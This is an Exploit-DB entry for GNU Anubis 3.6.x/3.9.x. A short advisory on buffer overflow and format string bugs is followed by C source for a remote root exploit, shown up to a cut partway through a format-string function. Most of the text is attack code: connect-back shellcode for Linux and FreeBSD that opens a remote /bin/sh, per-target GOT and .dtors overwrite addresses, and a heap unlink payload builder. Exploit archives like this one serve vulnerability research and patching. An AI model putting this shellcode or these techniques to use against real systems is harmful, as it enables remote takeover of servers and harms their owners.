Exploit-DB #23772
Description: GNU Anubis 3.6.x/3.9.x - 'auth.c auth_ident()' Remote Overflow
Type: remote
Platform: linux
Date: 2004-03-01
Author: CMN

Exploit:
// source: https://www.securityfocus.com/bid/9772/info
 
GNU Anubis has been reported prone to multiple buffer overflow and format string vulnerabilities. It has been conjectured that a remote attacker may potentially exploit these vulnerabilities to have arbitrary code executed in the context of the Anubis software. The buffer overflow vulnerabilities exist in the 'auth_ident' function in 'auth.c'. The format string vulnerabilities are reported to affect the 'info' function in 'log.c', the 'anubis_error' function in 'errs.c' and the 'ssl_error' function in 'ssl.c'.
 
These vulnerabilities have been reported to exist in GNU Anubis versions 3.6.0, 3.6.1, 3.6.2, 3.9.92, and 3.9.93. It is possible that other versions are affected as well.
 
These issues are undergiong further analysis, they will be divided into separate BIDs as analysis is completed.

/*
 * anubisexp.c
 *
 * GNU Anubis 3.6.2 remote root exploit by CMN
 *
 * <cmn at darklab.org>, <cmn at 0xbadc0ded.org>
 * Bug found by Ulf Harnhammar.
 *
 * 2004-03-10
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <sys/wait.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define DUMMY            0x41414141
#define BUFSIZE          512
#define AUTH_PORT        113
#define ANUBIS_PORT      24
#define IP_INDEX         5
#define PORT_INDEX       11

#define PREV_INUSE       0x1
#define IS_MMAP          0x2
#define NON_MAIN_ARENA   0x4
#define FMTSTR           0x1
#define OVERFLOW         0x2

#define JMPCODE          "\xeb\x0c"

static int connect_target = 0;
static int start_auth = 0;

    /* Connect back */
static char linux_code[] =
    "\x31\xc0\x50\x50\x68\xc0\xa8\x01\x01\x66\x68\x30\x39\xb0\x02"
    "\x66\x50\x89\xe6\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x31\xdb\x43"
    "\x30\xe4\xb0\x66\xcd\x80\x89\xc5\x6a\x10\x56\x55\x89\xe1\xb3"
    "\x03\xb0\x66\xcd\x80\x89\xeb\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
    "\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x31\xd2\x52\x68\x2f"
    "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
    "\x0b\xcd\x80\x31\xc0\x40\xcd\x80";

    /* Connect back */
static char freebsd_code[] =
    "\x31\xc0\x50\x50\x68\xc0\xa8\x01\x01\x66\x68\x30\x39\xb4\x02"
    "\x66\x50\x89\xe2\x66\x31\xc0\x50\x40\x50\x40\x50\x50\x30\xe4"
    "\xb0\x61\xcd\x80\x89\xc7\x31\xc0\xb0\x10\x50\x52\x57\x50\xb0"
    "\x62\xcd\x80\x50\x57\x50\xb0\x5a\xcd\x80\xb0\x01\x50\x57\x50"
    "\x83\xc0\x59\xcd\x80\xb0\x02\x50\x57\x50\x83\xc0\x58\xcd\x80"
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
    "\x50\x53\x89\xe2\x50\x52\x53\x50\xb0\x3b\xcd\x80\x31\xc0\x40"
    "\x50\x50\xcd\x80";

struct target {
    char type;
    char *desc;
    char *code;
    u_int bufaddr;  /* static buf on line 266 in net.c, used by recv() */
    u_int retloc;
    u_int offset;
    u_int written;
    u_int pad;
};


struct target targets[] = {
    /* .GOT free */
    { OVERFLOW, "Linux anubis-3.6.2-1.i386.rpm [glibc < 3.2.0] (overflow)",
        linux_code, 0x08056520, 0x08056464, 305, 0x00, 0x00 },

    /* .GOT strlen */
    { FMTSTR, "Linux anubis-3.6.2-1.i386.rpm (fmt, verbose)", linux_code,
        0x08056520, 0x080563bc, 10*4, 32, 1 },

    /* .dtors */
    { FMTSTR, "FreeBSD anubis-3.6.2_1.tgz (fmt)", freebsd_code,
        0x805db80, 0x0805cc10+4, 12*4, 20, 1 },

    /* .GOT getpwnam */
    { FMTSTR, "FreeBSD anubis-3.6.2_1.tgz (fmt, verbose)", freebsd_code,
        0x805db80, 0x0805ce18, 15*4, 32, 1 },

    { -1, NULL, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }
};


int
sock_connect(u_long ip, u_short port)
{
    struct sockaddr_in taddr;
    int sock_fd;

    memset(&taddr, 0x00, sizeof(struct sockaddr_in));
    taddr.sin_addr.s_addr = ip;
    taddr.sin_port = port;
    taddr.sin_family = AF_INET;

    if ( (sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("** socket()");
        return(-1);
    }

    if (connect(sock_fd, (struct sockaddr *)&taddr,
            sizeof(taddr)) < 0) {
        perror("** connect()");
        return(-1);
    }
    return(sock_fd);
}


long
net_inetaddr(u_char *host)
{
    long haddr;
    struct hostent *hent;

    if ( (haddr = inet_addr(host)) < 0) {
        if ( (hent = gethostbyname(host)) == NULL)
            return(-1);

        memcpy(&haddr, (hent->h_addr), 4);
    }
    return(haddr);
}

long
net_localip(void)
{
    u_char lname[MAXHOSTNAMELEN +1];
    struct in_addr addr;
    memset(lname, 0x00, sizeof(lname));

    if ( gethostname(lname, MAXHOSTNAMELEN) < 0)
        return(-1);

    addr.s_addr = net_inetaddr(lname);
    return(addr.s_addr);
}


char *
unlinkchunk(u_int ret, u_int retloc, size_t words)
{
    u_int *chunk;
    size_t i=0;

    if (words < 14) {
        fprintf(stderr, "unlinkchunk(): Small buffer\n");
        return(NULL);
    }

    if ( (chunk = calloc(words*sizeof(u_int)+1, 1)) == NULL) {
        perror("calloc()");
        return(NULL);
    }

    chunk[i++] = -4;
    chunk[i++] = -4;
    chunk[i++] = -4;
    chunk[i++] = ret;
    chunk[i++] = retloc-8;

    chunk[i++] = -4;
    chunk[i++] = -4;
    chunk[i++] = -4;
    chunk[i++] = ret;
    chunk[i++] = retloc-8;

    for (; i<words; i++) {

        /* Relative negative offset to first chunk */
        if (i % 2)
            chunk[i] = ((-(i-8)*4) & ~(IS_MMAP|NON_MAIN_ARENA))|PREV_INUSE;
        /* Relative negative offset to second chunk */
        else
            chunk[i] = ((-(i-3)*4) & ~(IS_MMAP|NON_MAIN_ARENA))|PREV_INUSE;
    }
    return((char *)chunk);
}

int
mkfmtstr(struct target *tgt, u_int ret,
        char *buf, size_t buflen)
{
    size_t pad;
    size_t espoff;
    size_t written;
    int tmp;
    int